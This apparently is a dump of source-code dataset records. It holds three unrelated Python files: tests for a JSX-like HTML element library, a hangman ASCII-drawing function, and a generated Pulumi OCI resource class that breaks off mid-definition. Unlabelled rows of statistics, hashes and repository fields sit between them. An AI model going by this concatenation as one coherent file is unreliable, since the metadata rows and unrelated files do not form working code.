is parent assert str(parent) == '<div><span></span></div>' def test_prepend_one_string_to_empty(): parent = <div /> parent_children = parent.__children__ child = "foo" parent.prepend(child) assert parent.__children__ == [child] assert parent_children is parent.__children__ assert str(parent) == '<div>foo</div>' def test_remove_one_el_from_empty(): parent = <div /> parent_children = parent.__children__ child = <span /> parent.remove(child) assert parent.__children__ == [] assert parent_children is parent.__children__ assert child.__parent__ is None assert str(parent) == '<div></div>' def test_remove_one_string_from_empty(): parent = <div /> parent_children = parent.__children__ child = "foo" parent.remove(child) assert parent.__children__ == [] assert parent_children is parent.__children__ assert str(parent) == '<div></div>' def test_append_many_to_empty(): parent = <div /> parent_children = parent.__children__ child1 = <span /> child2 = "foo" parent.append([child1, child2]) assert parent.__children__ == [child1, child2] assert parent_children is parent.__children__ assert child1.__parent__ is parent assert str(parent) == '<div><span></span>foo</div>' def test_prepend_many_to_empty(): parent = <div /> parent_children = parent.__children__ child1 = <span /> child2 = "foo" parent.prepend([child1, child2]) assert parent.__children__ == [child1, child2] assert parent_children is parent.__children__ assert child1.__parent__ is parent assert str(parent) == '<div><span></span>foo</div>' def test_remove_many_from_empty(): parent = <div /> parent_children = parent.__children__ child1 = <span /> child2 = "foo" parent.remove([child1, child2]) assert parent.__children__ == [] assert parent_children is parent.__children__ assert child1.__parent__ is None assert str(parent) == '<div></div>' def test_append_many_levels_list_to_empty(): parent = <div /> parent_children = parent.__children__ child1 = <span /> child2 = "foo" child3 = <br /> parent.append([child1, [child2, child3]]) assert parent.__children__ == [child1, child2, child3] assert parent_children is parent.__children__ assert child1.__parent__ is parent assert child3.__parent__ is parent assert str(parent) == '<div><span></span>foo<br /></div>' def test_prepend_many_levels_list_to_empty(): parent = <div /> parent_children = parent.__children__ child1 = <span /> child2 = "foo" child3 = <br /> parent.prepend([child1, [child2, child3]]) assert parent.__children__ == [child1, child2, child3] assert parent_children is parent.__children__ assert child1.__parent__ is parent assert child3.__parent__ is parent assert str(parent) == '<div><span></span>foo<br /></div>' def test_remove_many_levels_list_from_empty(): parent = <div /> parent_children = parent.__children__ child1 = <span /> child2 = "foo" child3 = <br /> parent.remove([child1, [child2, child3]]) assert parent.__children__ == [] assert parent_children is parent.__children__ assert child1.__parent__ is None assert str(parent) == '<div></div>' def test_append_one_el_to_non_empty(): first_child = <div /> parent = <div>{first_child}</div> parent_children = parent.__children__ child = <span /> assert parent.__children__ == [first_child] parent.append(child) assert parent.__children__ == [first_child, child] assert parent_children is parent.__children__ assert child.__parent__ is parent assert str(parent) == '<div><div></div><span></span></div>' def test_append_one_string_to_non_empty(): first_child = <div /> parent = <div>{first_child}</div> parent_children = parent.__children__ child = "foo" parent.append(child) assert parent.__children__ == [first_child, child] assert parent_children is parent.__children__ assert str(parent) == '<div><div></div>foo</div>' def test_prepend_one_el_to_non_empty(): first_child = <div /> parent = <div>{first_child}</div> parent_children = parent.__children__ child = <span /> parent.prepend(child) assert parent.__children__ == [child, first_child] assert parent_children is parent.__children__ assert child.__parent__ is parent assert str(parent) == '<div><span></span><div></div></div>' def test_prepend_one_string_to_non_empty(): first_child = <div /> parent = <div>{first_child}</div> parent_children = parent.__children__ child = "foo" parent.prepend(child) assert parent.__children__ == [child, first_child] assert parent_children is parent.__children__ assert str(parent) == '<div>foo<div></div></div>' def test_remove_one_absent_el_from_non_empty(): first_child = <div /> parent = <div>{first_child}</div> parent_children = parent.__children__ child = <span /> assert parent.__children__ == [first_child] parent.remove(child) assert parent.__children__ == [first_child] assert parent_children is parent.__children__ assert child.__parent__ is None assert str(parent) == '<div><div></div></div>' def test_remove_one_absent_string_from_non_empty(): first_child = <div /> parent = <div>{first_child}</div> parent_children = parent.__children__ child = "foo" assert parent.__children__ == [first_child] parent.remove(child) assert parent.__children__ == [first_child] assert parent_children is parent.__children__ assert str(parent) == '<div><div></div></div>' def test_remove_only_present_el_from_non_empty(): first_child = <div /> parent = <div>{first_child}</div> assert first_child.__parent__ is parent parent_children = parent.__children__ assert parent.__children__ == [first_child] parent.remove(first_child) assert parent.__children__ == [] assert parent_children is parent.__children__ assert first_child.__parent__ is None assert str(parent) == '<div></div>' def test_remove_only_present_string_from_non_empty(): first_child = "foo" parent = <div>{first_child}</div> parent_children = parent.__children__ assert parent.__children__ == [first_child] parent.remove(first_child) assert parent.__children__ == [] assert parent_children is parent.__children__ assert str(parent) == '<div></div>' def test_remove_one_present_el_from_non_empty(): first_child = <div /> second_child = <span /> parent = <div>{first_child}{second_child}</div> assert first_child.__parent__ is parent assert second_child.__parent__ is parent parent_children = parent.__children__ assert parent.__children__ == [first_child, second_child] parent.remove(first_child) assert parent.__children__ == [second_child] assert parent_children is parent.__children__ assert first_child.__parent__ is None assert second_child.__parent__ is parent assert str(parent) == '<div><span></span></div>' def test_remove_one_present_string_from_non_empty(): first_child = "foo" second_child = <span /> parent = <div>{first_child}{second_child}</div> assert second_child.__parent__ is parent parent_children = parent.__children__ assert parent.__children__ == [first_child, second_child] parent.remove(first_child) assert parent.__children__ == [second_child] assert parent_children is parent.__children__ assert second_child.__parent__ is parent assert str(parent) == '<div><span></span></div>' def test_append_many_to_non_empty(): first_child = <div /> parent = <div>{first_child}</div> parent_children = parent.__children__ child1 = <span /> child2 = "foo" parent.append([child1, child2]) assert parent.__children__ == [first_child, child1, child2] assert parent_children is parent.__children__ assert child1.__parent__ is parent assert str(parent) == '<div><div></div><span></span>foo</div>' def test_prepend_many_to_non_empty(): first_child = <div /> parent = <div>{first_child}</div> parent_children = parent.__children__ child1 = <span /> child2 = "foo" parent.prepend([child1, child2]) assert parent.__children__ == [child1, child2, first_child] assert parent_children is parent.__children__ assert child1.__parent__ is parent assert str(parent) == '<div><span></span>foo<div></div></div>' def test_append_many_levels_list_to_non_empty(): first_child = <div /> parent = <div>{first_child}</div> parent_children = parent.__children__ child1 = <span /> child2 = "foo" child3 = <br /> parent.append([child1, [child2, child3]]) assert parent.__children__ == [first_child, child1, child2, child3] assert parent_children is parent.__children__ assert child1.__parent__ is parent assert child3.__parent__ is parent assert str(parent) == '<div><div></div><span></span>foo<br /></div>' def test_prepend_many_levels_list_to_non_empty(): first_child = <div /> parent = <div>{first_child}</div> parent_children = parent.__children__ child1 = <span /> child2 = "foo" child3 = <br /> parent.prepend([child1, [child2, child3]]) assert parent.__children__ == [child1, child2, child3, first_child] assert parent_children is parent.__children__ assert child1.__parent__ is parent assert child3.__parent__ is parent assert str(parent) == '<div><span></span>foo<br /><div></div></div>' def test_remove_many_levels_list_from_non_empty(): first_child = <div /> second_child = <span /> third_child = "foo" parent = <div>{first_child}{second_child}{third_child}</div> assert parent.__children__ == [first_child, second_child, third_child] parent_children = parent.__children__ child1 = first_child child2 = "bar" child3 = <span/> child4 = "foo" parent.remove([child1, [child2, child3, [child4]]]) assert parent.__children__ == [second_child] assert first_child.__parent__ is None assert second_child.__parent__ is parent assert parent_children is parent.__children__ assert str(parent) == '<div><span></span></div>' def test_postrender_child_element(): class Collect(Element): def render(self, context): pass class Child(Element): def render(self, context): return [ <Collect id="collect-child-{self.id}"/>, <div id="child-{self.id}">{self.children()}</div> ] class Parent(Element): def render(self, context): return [ <Collect id="collect-parent-{self.id}"/>, <div id="parent-{self.id}"> {self.children()} <Child id="fromparent-{self.id}"> <span id="fromparent-{self.id}" /> </Child> </div>, ] elements = [ <Parent id=1>, <span id=span1><Child id=1 /></span>, </Parent>, <Child id=2><span id=span2 /></Child>, <span id=span3><span id=span4>Foo</span></span>, ] # start with a simple usage of prerender_child that collect all for testing class Root(Element): def __init__(self, **kwargs) -> None: self.__postrendered_children__ = [] super().__init__(**kwargs) def postrender_child_element(self, child, child_element, context): self.__postrendered_children__.append(child) root = <Root>{elements}</Root> str(root) assert [(el.__class__, el.prop('id')) for el in root.__postrendered_children__] == [ # In Root render we have only children # In Root children with start by a Parent instance (Parent, '1'), # In Parent render we start with a Collect instance (Collect, 'collect-parent-1'), # In Parent render we continue with children # In Parent children we have a Child instance (Child, '1'), # In a Child render we have a Collect instance (Collect, 'collect-child-1'), # Next in Parent render we have a Child instance (Child, 'fromparent-1'), # In a Child render we have a Collect instance (Collect, 'collect-child-fromparent-1'), # Next in Root children we have a Child instance (Child, '2'), # In a Child render we have a Collect instance (Collect, 'collect-child-2'), ] # Now we can test a collector collecting only ``Collect`` instances class Collector(Element): def __init__(self, **kwargs) -> None: self.__collected__ = [] super().__init__(**kwargs) def postrender_child_element(self, child, child_element, context): if isinstance(child, Collect): self.__collected__.append(child) collector = <Collector>{elements}</Collector> str(collector) assert [(el.__class__, el.prop('id')) for el in collector.__collected__] == [ (Collect, 'collect-parent-1'), (Collect, 'collect-child-1'), (Collect, 'collect-child-fromparent-1'), (Collect, 'collect-child-2'), ]
31.810176
88
0.655368
1,931
16,255
5.019161
0.054376
0.209451
0.130004
0.077383
0.889084
0.867313
0.846471
0.820883
0.798803
0.764651
0
0.011524
0.225961
16,255
510
89
31.872549
0.758782
0.037158
0
0.76087
0
0
0.064524
0.039767
0
0
0
0
0.345411
0
null
null
0.002415
0.002415
null
null
0
0
0
0
null
1
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
9
fd7660c24aa4ee00b62c98520ad93e5fca42e8f8
1,339
py
Python
drawhangman.py
nathanrhart/PythonHangman
e585f9345085f6602b1f2bd6dfe6bbe44dcbe13a
[ "MIT" ]
null
null
null
drawhangman.py
nathanrhart/PythonHangman
e585f9345085f6602b1f2bd6dfe6bbe44dcbe13a
[ "MIT" ]
null
null
null
drawhangman.py
nathanrhart/PythonHangman
e585f9345085f6602b1f2bd6dfe6bbe44dcbe13a
[ "MIT" ]
null
null
null
def drawhangman(wrongcount): if wrongcount == 0: print("--------") print("| | ") print("|") print("|") print("|") print("|") print("|\______") elif wrongcount == 1: print("--------") print("| | ") print("| 0 ") print("| ") print("| ") print("| ") print("|\______") elif wrongcount == 2: print("--------") print("| | ") print("| 0 ") print("| | ") print("| ") print("| ") print("|\______") elif wrongcount == 3: print("--------") print("| | ") print("| 0 ") print("| /| ") print("| ") print("| ") print("|\______") elif wrongcount == 4: print("--------") print("| | ") print("| 0 ") print("| /|\ ") print("| ") print("| ") print("|\______") elif wrongcount == 5: print("--------") print("| | ") print("| 0 ") print("| /|\ ") print("| / ") print("| ") print("|\______") elif wrongcount == 6: print("--------") print("| | ") print("| 0 ") print("| /|\ ") print("| / \ ") print("| ") print("|\______") print("Oh no! You lose!")
22.694915
30
0.325616
84
1,339
4.690476
0.202381
0.939086
0.913706
0.558376
0.865482
0.865482
0.725888
0.725888
0.634518
0.634518
0
0.016477
0.410754
1,339
58
31
23.086207
0.48289
0
0
0.793103
0
0
0.301327
0
0
0
0
0
0
1
0.017241
false
0
0
0
0.017241
0.862069
0
0
0
null
1
1
1
1
1
1
1
0
1
0
0
0
0
0
0
0
1
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
11
fd8cdd8c05083a861656e4174336e43e6a2a5382
33,480
py
Python
sdk/python/pulumi_oci/osmanagement/managed_instance_management.py
EladGabay/pulumi-oci
6841e27d4a1a7e15c672306b769912efbfd3ba99
[ "ECL-2.0", "Apache-2.0" ]
5
2021-08-17T11:14:46.000Z
2021-12-31T02:07:03.000Z
sdk/python/pulumi_oci/osmanagement/managed_instance_management.py
pulumi-oci/pulumi-oci
6841e27d4a1a7e15c672306b769912efbfd3ba99
[ "ECL-2.0", "Apache-2.0" ]
1
2021-09-06T11:21:29.000Z
2021-09-06T11:21:29.000Z
sdk/python/pulumi_oci/osmanagement/managed_instance_management.py
pulumi-oci/pulumi-oci
6841e27d4a1a7e15c672306b769912efbfd3ba99
[ "ECL-2.0", "Apache-2.0" ]
2
2021-08-24T23:31:30.000Z
2022-01-02T19:26:54.000Z
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities from . import outputs from ._inputs import * __all__ = ['ManagedInstanceManagementArgs', 'ManagedInstanceManagement'] @pulumi.input_type class ManagedInstanceManagementArgs: def __init__(__self__, *, managed_instance_id: pulumi.Input[str], child_software_sources: Optional[pulumi.Input[Sequence[pulumi.Input['ManagedInstanceManagementChildSoftwareSourceArgs']]]] = None, managed_instance_groups: Optional[pulumi.Input[Sequence[pulumi.Input['ManagedInstanceManagementManagedInstanceGroupArgs']]]] = None, parent_software_source: Optional[pulumi.Input['ManagedInstanceManagementParentSoftwareSourceArgs']] = None): """ The set of arguments for constructing a ManagedInstanceManagement resource. :param pulumi.Input[str] managed_instance_id: OCID for the managed instance :param pulumi.Input[Sequence[pulumi.Input['ManagedInstanceManagementChildSoftwareSourceArgs']]] child_software_sources: (Updatable) list of child Software Sources attached to the Managed Instance :param pulumi.Input[Sequence[pulumi.Input['ManagedInstanceManagementManagedInstanceGroupArgs']]] managed_instance_groups: (Updatable) The ids of the managed instance groups of which this instance is a member. :param pulumi.Input['ManagedInstanceManagementParentSoftwareSourceArgs'] parent_software_source: (Updatable) the parent (base) Software Source attached to the Managed Instance """ pulumi.set(__self__, "managed_instance_id", managed_instance_id) if child_software_sources is not None: pulumi.set(__self__, "child_software_sources", child_software_sources) if managed_instance_groups is not None: pulumi.set(__self__, "managed_instance_groups", managed_instance_groups) if parent_software_source is not None: pulumi.set(__self__, "parent_software_source", parent_software_source) @property @pulumi.getter(name="managedInstanceId") def managed_instance_id(self) -> pulumi.Input[str]: """ OCID for the managed instance """ return pulumi.get(self, "managed_instance_id") @managed_instance_id.setter def managed_instance_id(self, value: pulumi.Input[str]): pulumi.set(self, "managed_instance_id", value) @property @pulumi.getter(name="childSoftwareSources") def child_software_sources(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ManagedInstanceManagementChildSoftwareSourceArgs']]]]: """ (Updatable) list of child Software Sources attached to the Managed Instance """ return pulumi.get(self, "child_software_sources") @child_software_sources.setter def child_software_sources(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ManagedInstanceManagementChildSoftwareSourceArgs']]]]): pulumi.set(self, "child_software_sources", value) @property @pulumi.getter(name="managedInstanceGroups") def managed_instance_groups(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ManagedInstanceManagementManagedInstanceGroupArgs']]]]: """ (Updatable) The ids of the managed instance groups of which this instance is a member. """ return pulumi.get(self, "managed_instance_groups") @managed_instance_groups.setter def managed_instance_groups(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ManagedInstanceManagementManagedInstanceGroupArgs']]]]): pulumi.set(self, "managed_instance_groups", value) @property @pulumi.getter(name="parentSoftwareSource") def parent_software_source(self) -> Optional[pulumi.Input['ManagedInstanceManagementParentSoftwareSourceArgs']]: """ (Updatable) the parent (base) Software Source attached to the Managed Instance """ return pulumi.get(self, "parent_software_source") @parent_software_source.setter def parent_software_source(self, value: Optional[pulumi.Input['ManagedInstanceManagementParentSoftwareSourceArgs']]): pulumi.set(self, "parent_software_source", value) @pulumi.input_type class _ManagedInstanceManagementState: def __init__(__self__, *, child_software_sources: Optional[pulumi.Input[Sequence[pulumi.Input['ManagedInstanceManagementChildSoftwareSourceArgs']]]] = None, compartment_id: Optional[pulumi.Input[str]] = None, description: Optional[pulumi.Input[str]] = None, display_name: Optional[pulumi.Input[str]] = None, last_boot: Optional[pulumi.Input[str]] = None, last_checkin: Optional[pulumi.Input[str]] = None, managed_instance_groups: Optional[pulumi.Input[Sequence[pulumi.Input['ManagedInstanceManagementManagedInstanceGroupArgs']]]] = None, managed_instance_id: Optional[pulumi.Input[str]] = None, os_kernel_version: Optional[pulumi.Input[str]] = None, os_name: Optional[pulumi.Input[str]] = None, os_version: Optional[pulumi.Input[str]] = None, parent_software_source: Optional[pulumi.Input['ManagedInstanceManagementParentSoftwareSourceArgs']] = None, status: Optional[pulumi.Input[str]] = None, updates_available: Optional[pulumi.Input[int]] = None): """ Input properties used for looking up and filtering ManagedInstanceManagement resources. :param pulumi.Input[Sequence[pulumi.Input['ManagedInstanceManagementChildSoftwareSourceArgs']]] child_software_sources: (Updatable) list of child Software Sources attached to the Managed Instance :param pulumi.Input[str] compartment_id: OCID for the Compartment :param pulumi.Input[str] description: Information specified by the user about the managed instance :param pulumi.Input[str] display_name: User friendly name :param pulumi.Input[str] last_boot: Time at which the instance last booted :param pulumi.Input[str] last_checkin: Time at which the instance last checked in :param pulumi.Input[Sequence[pulumi.Input['ManagedInstanceManagementManagedInstanceGroupArgs']]] managed_instance_groups: (Updatable) The ids of the managed instance groups of which this instance is a member. :param pulumi.Input[str] managed_instance_id: OCID for the managed instance :param pulumi.Input[str] os_kernel_version: Operating System Kernel Version :param pulumi.Input[str] os_name: Operating System Name :param pulumi.Input[str] os_version: Operating System Version :param pulumi.Input['ManagedInstanceManagementParentSoftwareSourceArgs'] parent_software_source: (Updatable) the parent (base) Software Source attached to the Managed Instance :param pulumi.Input[str] status: status of the managed instance. :param pulumi.Input[int] updates_available: Number of updates available to be installed """ if child_software_sources is not None: pulumi.set(__self__, "child_software_sources", child_software_sources) if compartment_id is not None: pulumi.set(__self__, "compartment_id", compartment_id) if description is not None: pulumi.set(__self__, "description", description) if display_name is not None: pulumi.set(__self__, "display_name", display_name) if last_boot is not None: pulumi.set(__self__, "last_boot", last_boot) if last_checkin is not None: pulumi.set(__self__, "last_checkin", last_checkin) if managed_instance_groups is not None: pulumi.set(__self__, "managed_instance_groups", managed_instance_groups) if managed_instance_id is not None: pulumi.set(__self__, "managed_instance_id", managed_instance_id) if os_kernel_version is not None: pulumi.set(__self__, "os_kernel_version", os_kernel_version) if os_name is not None: pulumi.set(__self__, "os_name", os_name) if os_version is not None: pulumi.set(__self__, "os_version", os_version) if parent_software_source is not None: pulumi.set(__self__, "parent_software_source", parent_software_source) if status is not None: pulumi.set(__self__, "status", status) if updates_available is not None: pulumi.set(__self__, "updates_available", updates_available) @property @pulumi.getter(name="childSoftwareSources") def child_software_sources(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ManagedInstanceManagementChildSoftwareSourceArgs']]]]: """ (Updatable) list of child Software Sources attached to the Managed Instance """ return pulumi.get(self, "child_software_sources") @child_software_sources.setter def child_software_sources(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ManagedInstanceManagementChildSoftwareSourceArgs']]]]): pulumi.set(self, "child_software_sources", value) @property @pulumi.getter(name="compartmentId") def compartment_id(self) -> Optional[pulumi.Input[str]]: """ OCID for the Compartment """ return pulumi.get(self, "compartment_id") @compartment_id.setter def compartment_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "compartment_id", value) @property @pulumi.getter def description(self) -> Optional[pulumi.Input[str]]: """ Information specified by the user about the managed instance """ return pulumi.get(self, "description") @description.setter def description(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "description", value) @property @pulumi.getter(name="displayName") def display_name(self) -> Optional[pulumi.Input[str]]: """ User friendly name """ return pulumi.get(self, "display_name") @display_name.setter def display_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "display_name", value) @property @pulumi.getter(name="lastBoot") def last_boot(self) -> Optional[pulumi.Input[str]]: """ Time at which the instance last booted """ return pulumi.get(self, "last_boot") @last_boot.setter def last_boot(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "last_boot", value) @property @pulumi.getter(name="lastCheckin") def last_checkin(self) -> Optional[pulumi.Input[str]]: """ Time at which the instance last checked in """ return pulumi.get(self, "last_checkin") @last_checkin.setter def last_checkin(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "last_checkin", value) @property @pulumi.getter(name="managedInstanceGroups") def managed_instance_groups(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ManagedInstanceManagementManagedInstanceGroupArgs']]]]: """ (Updatable) The ids of the managed instance groups of which this instance is a member. """ return pulumi.get(self, "managed_instance_groups") @managed_instance_groups.setter def managed_instance_groups(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ManagedInstanceManagementManagedInstanceGroupArgs']]]]): pulumi.set(self, "managed_instance_groups", value) @property @pulumi.getter(name="managedInstanceId") def managed_instance_id(self) -> Optional[pulumi.Input[str]]: """ OCID for the managed instance """ return pulumi.get(self, "managed_instance_id") @managed_instance_id.setter def managed_instance_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "managed_instance_id", value) @property @pulumi.getter(name="osKernelVersion") def os_kernel_version(self) -> Optional[pulumi.Input[str]]: """ Operating System Kernel Version """ return pulumi.get(self, "os_kernel_version") @os_kernel_version.setter def os_kernel_version(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "os_kernel_version", value) @property @pulumi.getter(name="osName") def os_name(self) -> Optional[pulumi.Input[str]]: """ Operating System Name """ return pulumi.get(self, "os_name") @os_name.setter def os_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "os_name", value) @property @pulumi.getter(name="osVersion") def os_version(self) -> Optional[pulumi.Input[str]]: """ Operating System Version """ return pulumi.get(self, "os_version") @os_version.setter def os_version(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "os_version", value) @property @pulumi.getter(name="parentSoftwareSource") def parent_software_source(self) -> Optional[pulumi.Input['ManagedInstanceManagementParentSoftwareSourceArgs']]: """ (Updatable) the parent (base) Software Source attached to the Managed Instance """ return pulumi.get(self, "parent_software_source") @parent_software_source.setter def parent_software_source(self, value: Optional[pulumi.Input['ManagedInstanceManagementParentSoftwareSourceArgs']]): pulumi.set(self, "parent_software_source", value) @property @pulumi.getter def status(self) -> Optional[pulumi.Input[str]]: """ status of the managed instance. """ return pulumi.get(self, "status") @status.setter def status(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "status", value) @property @pulumi.getter(name="updatesAvailable") def updates_available(self) -> Optional[pulumi.Input[int]]: """ Number of updates available to be installed """ return pulumi.get(self, "updates_available") @updates_available.setter def updates_available(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "updates_available", value) class ManagedInstanceManagement(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, child_software_sources: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ManagedInstanceManagementChildSoftwareSourceArgs']]]]] = None, managed_instance_groups: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ManagedInstanceManagementManagedInstanceGroupArgs']]]]] = None, managed_instance_id: Optional[pulumi.Input[str]] = None, parent_software_source: Optional[pulumi.Input[pulumi.InputType['ManagedInstanceManagementParentSoftwareSourceArgs']]] = None, __props__=None): """ This resource provides the Managed Instance Management in Oracle Cloud Infrastructure OS Management service. The resource can be used to attach/detach parent software source, child software sources and managed instance groups from managed instances. Adds a parent software source to a managed instance. After the software source has been added, then packages from that software source can be installed on the managed instance. Software sources that have this software source as a parent will be able to be added to this managed instance. Removes a software source from a managed instance. All child software sources will also be removed from the managed instance. Packages will no longer be able to be installed from these software sources. Adds a child software source to a managed instance. After the software source has been added, then packages from that software source can be installed on the managed instance.\ Removes a child software source from a managed instance. Packages will no longer be able to be installed from these software sources. Adds a Managed Instance to a Managed Instance Group. After the Managed Instance has been added, then operations can be performed on the Managed Instance Group which will then apply to all Managed Instances in the group. Removes a Managed Instance from a Managed Instance Group. **NOTE** The resource on CREATE will detach any already attached parent software source, child software sources, managed instance groups to the managed instance. Destroying this resource will not delete any associations. ## Example Usage ```python import pulumi import pulumi_oci as oci test_managed_instance_management = oci.osmanagement.ManagedInstanceManagement("testManagedInstanceManagement", managed_instance_id=oci_osmanagement_managed_instance["test_managed_instance"]["id"], parent_software_source=oci.osmanagement.ManagedInstanceManagementParentSoftwareSourceArgs( id=oci_osmanagement_software_source["test_parent_software_source"]["id"], name=oci_osmanagement_software_source["test_parent_software_source"]["display_name"], ), managed_instance_groups=[oci.osmanagement.ManagedInstanceManagementManagedInstanceGroupArgs( id=oci_osmanagement_managed_instance_group["test_managed_instance_group"]["id"], display_name=var["managed_instance_group_display_name"], )], child_software_sources=[oci.osmanagement.ManagedInstanceManagementChildSoftwareSourceArgs( id=oci_osmanagement_software_source["test_software_source_child"]["id"], name=oci_osmanagement_software_source["test_software_source_child"]["display_name"], )]) ``` ## Import Import is not supported for this resource. :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ManagedInstanceManagementChildSoftwareSourceArgs']]]] child_software_sources: (Updatable) list of child Software Sources attached to the Managed Instance :param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ManagedInstanceManagementManagedInstanceGroupArgs']]]] managed_instance_groups: (Updatable) The ids of the managed instance groups of which this instance is a member. :param pulumi.Input[str] managed_instance_id: OCID for the managed instance :param pulumi.Input[pulumi.InputType['ManagedInstanceManagementParentSoftwareSourceArgs']] parent_software_source: (Updatable) the parent (base) Software Source attached to the Managed Instance """ ... @overload def __init__(__self__, resource_name: str, args: ManagedInstanceManagementArgs, opts: Optional[pulumi.ResourceOptions] = None): """ This resource provides the Managed Instance Management in Oracle Cloud Infrastructure OS Management service. The resource can be used to attach/detach parent software source, child software sources and managed instance groups from managed instances. Adds a parent software source to a managed instance. After the software source has been added, then packages from that software source can be installed on the managed instance. Software sources that have this software source as a parent will be able to be added to this managed instance. Removes a software source from a managed instance. All child software sources will also be removed from the managed instance. Packages will no longer be able to be installed from these software sources. Adds a child software source to a managed instance. After the software source has been added, then packages from that software source can be installed on the managed instance.\ Removes a child software source from a managed instance. Packages will no longer be able to be installed from these software sources. Adds a Managed Instance to a Managed Instance Group. After the Managed Instance has been added, then operations can be performed on the Managed Instance Group which will then apply to all Managed Instances in the group. Removes a Managed Instance from a Managed Instance Group. **NOTE** The resource on CREATE will detach any already attached parent software source, child software sources, managed instance groups to the managed instance. Destroying this resource will not delete any associations. ## Example Usage ```python import pulumi import pulumi_oci as oci test_managed_instance_management = oci.osmanagement.ManagedInstanceManagement("testManagedInstanceManagement", managed_instance_id=oci_osmanagement_managed_instance["test_managed_instance"]["id"], parent_software_source=oci.osmanagement.ManagedInstanceManagementParentSoftwareSourceArgs( id=oci_osmanagement_software_source["test_parent_software_source"]["id"], name=oci_osmanagement_software_source["test_parent_software_source"]["display_name"], ), managed_instance_groups=[oci.osmanagement.ManagedInstanceManagementManagedInstanceGroupArgs( id=oci_osmanagement_managed_instance_group["test_managed_instance_group"]["id"], display_name=var["managed_instance_group_display_name"], )], child_software_sources=[oci.osmanagement.ManagedInstanceManagementChildSoftwareSourceArgs( id=oci_osmanagement_software_source["test_software_source_child"]["id"], name=oci_osmanagement_software_source["test_software_source_child"]["display_name"], )]) ``` ## Import Import is not supported for this resource. :param str resource_name: The name of the resource. :param ManagedInstanceManagementArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(ManagedInstanceManagementArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, child_software_sources: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ManagedInstanceManagementChildSoftwareSourceArgs']]]]] = None, managed_instance_groups: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ManagedInstanceManagementManagedInstanceGroupArgs']]]]] = None, managed_instance_id: Optional[pulumi.Input[str]] = None, parent_software_source: Optional[pulumi.Input[pulumi.InputType['ManagedInstanceManagementParentSoftwareSourceArgs']]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = ManagedInstanceManagementArgs.__new__(ManagedInstanceManagementArgs) __props__.__dict__["child_software_sources"] = child_software_sources __props__.__dict__["managed_instance_groups"] = managed_instance_groups if managed_instance_id is None and not opts.urn: raise TypeError("Missing required property 'managed_instance_id'") __props__.__dict__["managed_instance_id"] = managed_instance_id __props__.__dict__["parent_software_source"] = parent_software_source __props__.__dict__["compartment_id"] = None __props__.__dict__["description"] = None __props__.__dict__["display_name"] = None __props__.__dict__["last_boot"] = None __props__.__dict__["last_checkin"] = None __props__.__dict__["os_kernel_version"] = None __props__.__dict__["os_name"] = None __props__.__dict__["os_version"] = None __props__.__dict__["status"] = None __props__.__dict__["updates_available"] = None super(ManagedInstanceManagement, __self__).__init__( 'oci:osmanagement/managedInstanceManagement:ManagedInstanceManagement', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, child_software_sources: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ManagedInstanceManagementChildSoftwareSourceArgs']]]]] = None, compartment_id: Optional[pulumi.Input[str]] = None, description: Optional[pulumi.Input[str]] = None, display_name: Optional[pulumi.Input[str]] = None, last_boot: Optional[pulumi.Input[str]] = None, last_checkin: Optional[pulumi.Input[str]] = None, managed_instance_groups: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ManagedInstanceManagementManagedInstanceGroupArgs']]]]] = None, managed_instance_id: Optional[pulumi.Input[str]] = None, os_kernel_version: Optional[pulumi.Input[str]] = None, os_name: Optional[pulumi.Input[str]] = None, os_version: Optional[pulumi.Input[str]] = None, parent_software_source: 